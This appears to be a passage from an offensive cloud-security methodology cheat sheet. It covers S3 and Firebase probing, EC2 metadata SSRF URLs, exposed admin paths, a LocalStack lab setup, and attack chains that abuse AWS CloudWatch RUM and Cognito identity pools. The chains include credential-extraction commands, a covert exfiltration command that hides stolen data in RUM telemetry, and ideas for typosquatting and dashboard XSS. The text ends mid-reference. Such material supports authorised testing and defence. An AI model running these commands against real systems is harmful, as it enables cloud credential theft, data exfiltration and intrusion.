16. CLOUD / INFRA MISCONFIGS
S3 / GCS / Azure Blob
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
EC2 Metadata (via SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
Exposed Admin Panels
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
Local-verification toolchain
For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
Without those env vars, aws s3 cp/sync fails with InvalidRequest. Document this for the team. See docs/verification/phase2j-cloud-localstack.md for the full reproducible flow.
CloudWatch RUM Weaponization (2024-2026 surface)
AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to dataplane.rum.<region>.amazonaws.com. The snippet's AppMonitor config contains an identityPoolId (Cognito) and guestRoleArn (IAM role) — both public by design. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (rum:PutRumEvents on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in cloud-iam-deep → Cognito Identity Pool chain.
Detection — JS bundle fingerprints
Snippet-style (most common, embedded in <head>):
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
NPM-style (aws-rum-web package):
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
Regex set for recon
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
Attack chains
Chain A — Credential extraction (Critical when guestRole is over-permissioned). Once identityPoolId is extracted from the page, anyone runs:
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
Full chain documented in cloud-iam-deep → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
Chain B — Telemetry endpoint covert exfil. dataplane.rum.<region>.amazonaws.com is an AWS-owned domain on every enterprise allowlist. The PutRumEvents payload accepts arbitrary userDetails and customEvents string fields:
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1
Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.
Chain C — DOM injection via snippet source poisoning. Many customers either self-host cwr.js on their own CDN (assets.target.com/cwr.js) or bundle aws-rum-web and serve from static.target.com/main.<hash>.js. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against aws-rum-webb) gives persistent JS execution on every page-load with the trust of the aws-rum-web SDK — including its already-granted Cognito permissions.
Chain D — Telemetry injection / dashboard poisoning. With the public identityPoolId + applicationId, an external attacker can flood PutRumEvents with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).
Severity rubric
| Finding | Severity | Justification |
|---|---|---|
guestRoleArn with *:* or wildcards on multiple services | Critical (9.1+) | Anonymous full AWS access |
guestRoleArn with s3:*, dynamodb:*, secretsmanager:*, lambda:Invoke* on production resources | High (7.5-8.8) | Data exfil / RCE depending on resource |
guestRoleArn with cognito-identity:* or iam:PassRole | High (8.0) | Privilege escalation primitive |
guestRoleArn with only rum:PutRumEvents + endpoint-scoped resource | Informational | Documented, intended config |
RUM userDetails logging PII into events viewable in CloudWatch console | Medium (5.3-6.5) | Sensitive data exposure via dashboard sharing |
RUM AppMonitor accepts PutRumEvents from arbitrary internet sources (telemetry injection) | Low-Medium (4.3) | Dashboard poisoning, alert evasion, billing DoS |
Self-hosted cwr.js on takeoverable subdomain | Critical (9.8) when chained | Persistent stored XSS across every customer page |
Disclosed cases / authoritative writeups
No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.
- Andres Riancho — "Misconfigured Cognito Identity Pools" (2020/2023) — establishes the attack class. andresriancho.com
- **Rhino Se